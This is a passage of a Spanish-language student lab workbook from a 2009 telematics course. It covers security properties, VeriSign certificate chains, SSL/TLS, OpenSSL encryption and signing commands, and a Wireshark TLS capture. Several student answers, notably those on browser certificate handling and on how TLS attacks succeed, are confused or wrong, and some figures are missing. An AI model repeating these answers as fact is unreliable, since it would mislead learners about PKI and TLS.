Para desarrollar los anteriores puntos me apoyé en el libro: GLOBALTEKSECURITY: TECNOLOGIAS GLOBALES PARA LA SEGURIDAD DE LA INFORMACION Introducción a las técnicas de ataque e investigación forense, un enfoque pragmático Preparado por: Armando Carvajal Gerente de consultoria globalteksecurity Master en seguridad informática Universidad Oberta de Catalunya Especialista en construcción de software para redes - Uniandes Ing. Sistemas – Universidad Incca de Colombia Pagina web: www.globalteksecurity.com e-mail: [email protected] Colombia, Agosto de 2007-

42 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

EJERCICIO4: Ana Delcy Nomesque Patiño. Noviembre 14 de 2009 Lea el módulo 1 que se adjunta en el sitio web http://amayac.iespana.es en el enlace de la UNAD, curso de Telemática, se describen herramientas que proporcionan una serie de propiedades en relación a la seguridad de la información. Describe, con tus palabras, en qué consisten las propiedades de confidencialidad, autenticación, integridad y no repudio. Especifica también qué herramientas de las estudiadas en las partes 1 (Conceptos básicos de criptografía) y 2 (Sistemas de autenticación) del módulo 3 (Mecanismos de protección) que se adjunta en el sitio web http://amayac.iespana.es en el enlace de la UNAD, curso de Telemática ,,resuelven el cumplimiento de estas propiedades..

43 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

SOLUCION:

Respuestas Seguridad de la Información: Propiedades: Interpreto que estas características, mas que características, son servicios que deben suministrar las aplicaciones cuando se trata de asegurar la información y que existen diferentes herramientas para dar cumplimiento a estos servicios. Confidencialidad: Garantizar el secreto de la información. Asegurarse de que solo obtendrá la información el usuario seleccionado y asegurarse de que los datos que contiene el documento permanecen ocultos a los ojos de terceras personas durante su viaje por el medio desde A a B. Autenticación: Hace parte de uno de los servicios de seguridad que deben ofrecer las aplicaciones y que se trata de asegurar que nadie falsifique la comunicación. Lo explico con un ejemplo: Intervienen tres actores: Carlos (emisor auténtico del mensaje) que quiere enviar un mensaje a María (receptora del mensaje) y un posible falisifcador o “tercero” que quiere hacer creer al destinatario “María” que es Carlos el que envía el mensaje.

CARLOS

MARIA

A

B

TERCERO El servicio de Autenticación nos ofrece dos características importantes: ●

Se debe asegurar que el mensaje haya sido originado por Carlos (es decir sea auténtico).

●

Este servicio además asegura o confirma que el mensaje sea originado por el que

44 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

verdaderamente lo envía (Carlos) y no por un tercero que quiera hacer creer a María que es Carlos el que lo envía. Integridad: El servicio de Integridad de datos, se deriva del anterior servicio de Autenticación y es el que permite confirmar que nadie ha modificado el mensaje enviado por Carlos y que no ha sido manipulado. Es decir se garantiza su “integridad” su “originalidad” en el contenido. Acá este servicio permite “verificar” que los datos estén íntegros. No repudio: El receptor puede saber a ciencia cierta o estar seguro de quién es el mensaje. Se trata de que una vez enviado un documento por A, éste no pueda negar haber sido el autor de dicho envío.

HERRAMIENTAS QUE CUMPLEN LAS PROPIEDADES DE CONFIDENCIALIDAD, AUTENTIFICACION, INTEGRIDAD Y NO REPUDIO.

CONFIDENCIALIDAD: Esta propiedad se consigue mediante métodos criptográficos: Se distinguen dos tipos de sistemas criptográficos:

45 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

AUTENTICACION Se consigue usando algoritmos de funciones de resumen de mensaje (Funciones hash seguras).

46 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

INTEGRIDAD

NO REPUDIO

47 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

1.2 Explicar que permiten las cadenas de certificados y pon un ejemplo basado en los navegadores web, relacionándolo con la autoridad VeriSign: Explico este punto describiéndolo en cuatro pasos resumidos y jerárquicos: ●

Todo empieza en un “problema” que se presenta en los criptosistemas de clave pública. Si se engaña alguien con el valor de la clave pública de otro usuario el sistema se viene abajo .

●

Es necesario garantizar la propiedad y la validez de las claves públicas . Una solución para ello es mediante la generación de un certificado de clave pública firmado digitalmente por una Autoridad de Certificación (CA). En donde una CA es una tercera parte de confianza(TTP) en la que confían los participantes en la comunicación miembros de un determinado dominio .

●

El problema aún continúa cuando pretendemos comunicación con un usuario que tiene un certificado emitido por una CA que no se conoce. La seguridad del certificado depende de la seguridad de la CA . De modo que, si la infraestructura de la CA no es segura tampoco serán seguros los certificados.

●

Entonces, es cuando intervienen las Cadenas de Certificados para garantizar la provisión de certificados y de otras entidades como: Autoridades de Registro (RA) Agentes autorizados para revocar certificados Repositorios de certificados

Ejemplo basado en los navegadores web. Para el desarrollo de este punto, me documenté en: http://www.verisign.es/support/advisories/page_038478.html

48 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

El ejemplo aplica para un Navegador Internet explorer: Desde abril de 2006, es necesario instalar un certificado de CA intermedia para todos los certificados SSL emitidos por VeriSign. Para obtener el certificado de una entidad emisora de certificados (CA) intermedia de VeriSign hay que descargarlo de la ruta: https://www.verisign.com/support/verisign-intermediate-ca/index.html La entidad emisora de certificados (CA) intermedia firma todos los certificados SSL mediante una jerarquía de dos niveles (denominada también cadena de confianza o "trust chain"), que mejora la seguridad de sus certificados SSL.

En la Figura se muestra la cadena de confianza que se deriva de VeriSign Class 3 Public Primary CA (CA raíz). Observará que hay varios certificados de CA intermedia firmados por esta CA raíz. Entre ellos, se incluyen VeriSign Class 3 Secure Server CA y www.verisign.com/CPS Incorp.by Ref.LIABILITY LTD.(c)97 VeriSign. Estos certificados de CA intermedia firman los certificados de entidad final (sus certificados SSL). Tenga en cuenta que VeriSign Class 3 Public Primary CA también firma las CA intermedias de otros productos como, por ejemplo, los certificados OFX y de firma de código.

49 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

En la Figura , se muestra cómo el navegador valida la cadena de confianza. En este ejemplo, utilizaremos Microsoft Internet Explorer. El certificado SSL de entidad final se encuentra en la parte inferior de la cadena, mientras que la CA raíz se encuentra en la parte superior. El certificado de CA intermedia es el que permite al certificado SSL ascender correctamente en la cadena hasta la raíz.

50 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

En la figura he capturado las autoridades CA que tengo cargadas en mi Navegador Firefox correspondientes a VeriSign. Se observa que solo hay una Raiz. Otro ejemplo: Esta empresa “invex” le proveen cadenas de certificados por parte de VeriSign

51 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Le provee seguridad para transacciones bancarias

52 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

EJERCICIO5: Ana Delcy Nomesque Patiño. Noviembre 14 de 2009 El protocolo SSL / TLS ofrece ciertas garantías de seguridad sobre la información que se transmite a nivel de transporte. De acuerdo al funcionamiento de los navegadores web, responde las siguientes preguntas. 5.1. Para que la autenticación del servidor funcione, es preciso que su identidad venga certificada por una autoridad de confianza. ¿Quién es el responsable de admitir como "de confianza" una autoridad no reconocida por defecto en el navegador? 5.2. Imagina que recibes un certificado emitido por “Verising” (tal y como se escribe aquí). Describe qué haría el navegador y qué riesgos de seguridad puede haber. 5.3. Especifica como SSL / TLS evita los siguientes ataques: (1) lectura del PIN de un acceso a banca online, (2) modificación de la cuenta corriente de destino de una transacción de banca online, (3) la suplantación de identidad del servidor. Apunta también, de acuerdo con lo visto en el módulo, como se podría tener éxito en los ataques.

53 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

5.1 Para que la autenticación del servidor funcione, es preciso que su identidad venga certificada por una autoridad de confianza. ¿Quién es el responsable de admitir como “de confianza” una autoridad no reconocida por defecto en el navegador? El proceso o la responsabilidad inicia mediante una “Autenticación de Identidad”, con un protocolo de reto-respuesta basado en en las que el cliente puede confirmar la identidad del servidor al cual se ha conectado. La responsabilidad cae en la validación de las firmas. Esta validación la hace el cliente quién debe conocer la clave pública del servidor. El anterior proceso se realiza mediante “certificados digitales” que son los que carga o se implementan en cada navegador.

5.2 Imagina que recibes un certificado emitido por “Verisign” (tal y como se escribe aquí). Describe que haría el navegador y que riesgos de seguridad puede haber. Para responder esta pregunta se parte del supuesto que: ● ●

VeriSign no está soportado por ninguna CA Raíz. Tampoco está soportado por una cadena de certificación.

El navegador primero verifica en el momento de instalar el certificado si ya existe uno estructura igual, si no aparece es que el navegador ya poseía dicho certificado.

con una

El primer paso (Solicitud del certificado), el navegador solicitará al servidor de certificados, la descarga o se puede intalar importando uno previamente descargado. Solicitará la identificación del usuario. Generará las claves privada y pública del certificado, que permitirán la identificación de forma electrónica y unívoca a cada usuario. Luego solicita un nivel de seguridad. Si el PC donde residirá el certificado es utilizado por varias personas (en este caso se le pedirá una contraseña para mayor seguridad). Finalmente el navegador implementa un servicio de petición-respuesta para verificar la veracidad del certificado. Riesgos que pueden haber: El principal problema de los criptosistemas de clave pública reside en que si se engaña alguien con el valor de la clave pública de otro usuario el sistema se viene abajo . Es necesario garantizar la propiedad y la validez de las claves públicas

54 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

●

Si la infraestructura de la CA no es segura tampoco serán seguros los certificados.

Generalmente todas la comunicaciones y relaciones que se lleven a cabo en cuanto a la obtención de certificados están gobernados por una política de seguridad . Pueden fallar estas políticas y dos de las más relevantes son: Que las autoridades de registro (RA): para la identificación y el registro previo de identidades antes de ser emitidos los certificados tengan fallos o no sean robustas. Entonces el certificado generado puede fallar. ● Que las autoridades de repositorio, para el almacenamiento y recuperación de certificados no sean seguras ya sea por ataques, capacidad de almacenamiento o no tengan disponibilidad de servicio al 100 %. ● Existe un Dominio, que emite políticas de confianza a los usuarios del CA. Los usuarios son agregados a este Dominio. Si ese dominio tiene problemas en la delegación de permisos , pueden generarse certificados que sean válidos pero que tengan restricciones o permisos más hallá de los solicitados. ● Los Agentes autorizados para revocar certificados pueden ser falsos. ●

Pero en general, la seguridad depende de la infraestructura de certificación que tengan estas entidades generadoras de certificados.

5.3 Especifica como SSL / TLS evita los siguientes ataques: (1) lectura de PIN de un acceso a banca online, (2) modificación de la cuenta corriente de destino de una transacción de banca online, (3) la suplantación de identidad del servidor. Apunta también, de acuerdo con lo visto en el módulo, como se podría tener éxito en los ataques. 1. Lectura de PIN: Mediante el uso de criptografía simétrica, en la que la generación de claves está respaldada por las firmas digitales. Se utiliza el código de autenticación MAC para ambos extremos. 2. Hace referencia a la emisión de certificados falsos. Por eso se suelen usar cadenas de certificados y emisiones de confianza a terceras personas, respaldadas por un conjunto de cadenas de certificados. 3. El éxito en los ataques, lo puede generar mediante ataques de denegación del servicio. Las opciones de suplantación de identidad usando los ataques smurf, Syncflooding. Esas técnicas en las que se usan “terceros” para lanzar los ataques. De igual forma, la longitud de las claves de encriptación y las funciones como las de hash si son débiles, facilitan los ataques.

55 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

EJERCICIO6: Johana Pinto, Angela Patricia Suárez Montoya, Ana Elizabeth Gallo. Noviembre 14 de 2009

Práctica sobre la herramienta OpenSSL Para hacer los siguientes ejercicios, necesitarás la herramienta OpenSSL, que encontrarás en los sistemas Linux. También está disponible para Windows y, de forma implícita, a los sistemas Mac OS X. En Internet puedes encontrar multitud de tutoriales y ejemplos de uso. Lógivo que para poder llegar a los ejercicios deben documentar y estudiar que hce OpenSSL . 6.1. Explica el significado de la siguiente instrucción y de sus parámetros $ openssl des3 -base64 -in entrada.txt -out encrypt.txt Esta instrucción cifra el texto que contiene el archivo entrada.txt usando triple DES y el password proporcionado por el usuario por medio del teclado. El argumento-base64 hace referencia a que la salida debe ser en formato ASCII imprimible y no binario. 6.2. La siguiente cadena se ha cifrado con la clave 'uoc' y el algoritmo triple DES: U2FsdGVkX18GT87jqkOyNDTecCDE5mNJZk8/pOSvA6SvOMRoH9rRpQ== ¿Cuál es la cadena de origen? ¿Qué comando has utilizado? Para descifrar esta cadena, primero debemos guardarla en un fichero (al cual llamamos encrypt.txt) y debemos poner el $ openssl des3 –d -base64 -in encrypt.txt Nos pedirá el password y nos aparecerá la frase "la vida es bella" 6.3. Crea ahora un par de claves RSA usando OpenSSL. Usa las siguientes instrucciones: $ openssl genrsa –des -out keys.txt 1024 $ openssl genrsa -out keys2.txt 2048 Describe brevemente qué ha pasado y qué diferencia hay entre keys.txt y keys2.txt. ¿Qué clave es más segura de guardar? El primer caso, nos la guardará cifrada con DES, con lo cual nos pedirá una contraseña. Finalmente la cabecera del fichero keys.txt nos indica este cifrado: ----- BEGIN RSA PRIVATE KEY ----Proc-Type: 4, encrypted Dek-Info: DES-CBC, 83EE7AF80E5AFD1C R + f80Hq3pqwtGXBGCj2Jhn … En el segundo caso nos crea una clave RSA de longitud 2048 bits. Es más seguro guardar la primera clave, ya que sin conocer la contraseña ni se puede usar con OpenSSL ni se puede ver el contenido en claro. 6.4. Los anteriores ficheros contienen sólo una clave (la privada). Para obtener la clave pública correspondiente a la privada generada puedes usar la siguiente instrucción, la cual contiene errores. Corrige la instrucción: $ openssl ras –pubin -in keys.txt pubkey.txt La instrucción correcta sería openssl rsa –pubout -in keys.txt -out pubkey.txt 56 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

6.5. Finalmente usaremos las claves acabadas de crear para firmar un archivo. Crea un archivo de texto llamado message.txt y escribe cualquier cosa. ¿Qué comando utilizas para firmar el archivo y guardar la firma en el fichero signatura.txt? Usa los comandos rsautl para hacerlo con RSA. $ openssl rsautl -inkey keys.txt –sign -in message.txt -out signatura.txt Ahora, a partir del fichero resultante signatura.txt, pide verificar la firma. Di qué comando usas y cuál es el resultado que obtienes. Usaremos la instrucción: $ openssl rsautl –pubin -inkey pubkey.txt –verify -in signatura.txt -out signed2.txt En este caso nos generará el archivo signed2.txt el mismo contenido que el mensaje original, dando a entender que el mensaje es correctamente verificado. EJERCICIO7: Ana E Soledad Siza y Raul. Noviembre 14 de 2009

Práctica sobre certificados Abre el programa wireshark e inicia una captura de paquetes. Accede al sitio web www.liniaoberta.com y detiene la captura. Analiza el intercambio de mensajes entre el navegador y el servidor y compáralo con el esquema detallado en la sección 4.2.2. del módulo 3. 7.1. Justifica las diferencias que observas. No se hace un Hello Request (en los apuntes ya se comenta que es opcional). El cliente envía el Client Hello, con la lista de algoritmos criptográficos soportados. El servidor envía el Server Hello, con la especificación de los algoritmos que se utilizarán. Lo sigue el mensaje Certificate y el mensaje Server Hello Done. No se manda el Certificate Request, ya que el cliente no se autentica. Observamos que diversos mensajes se envían juntos. El cliente envía Client key Exchange, Change Cipher Spec y Encrypted Handshake Message (equivale a Finished). El servidor envía Change Cipher Spec y Encrypted Handshake Message.

7.2. ¿Se envían todos los registros sobre una misma trama Ethernet? Muéstralo. No, algunos se envían en distintas tramas.

57 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

7.3. Analiza el certificado que se utiliza cuando entras en este sitio web. Describe el significado de los campos de información. Se trata de un certificado de servidor emitido por Verisign Algunos campos se información són: Nombre habitual (CN): indica la dirección web que valida el certificado. Versión. Número de serie. Algoritmo de firma. El emisor. La validez (por ejemplo con la fecha de caducidad) La clave que incluye el certificado. La firma del certificado. Etc.

58 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

7.4. Accede ahora a http://moodle.urv.cat. ¿Por qué aparece el mensaje de seguridad? ¿Quién ha emitido el certificado? ¿Que diferencia hay con respecto al apartado anterior? Nos informa que, a pesar de no estar caducado y referirse a la URL que queremos ver, según el navegador del emisor del certificado no es de confianza. Lo que pasa es que no tenemos cargado al sistema las raíces de CATCert (Agencia Catalana de Certificación) como certificados con los cuales confiar por defecto. En el caso anterior no había pasado dado que VeriSign ya es de confianza a nuestro navegador (ya tiene el certificado raíz incluido).

59 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

7.5. Opcionalmente, obtén el certificado raíz de CATCert y comprueba que después de la instalación a vuestro navegador, ya no da el mensaje. Se puede obtener de http://www.catcert.cat/descarega/acc.crt

60 de 60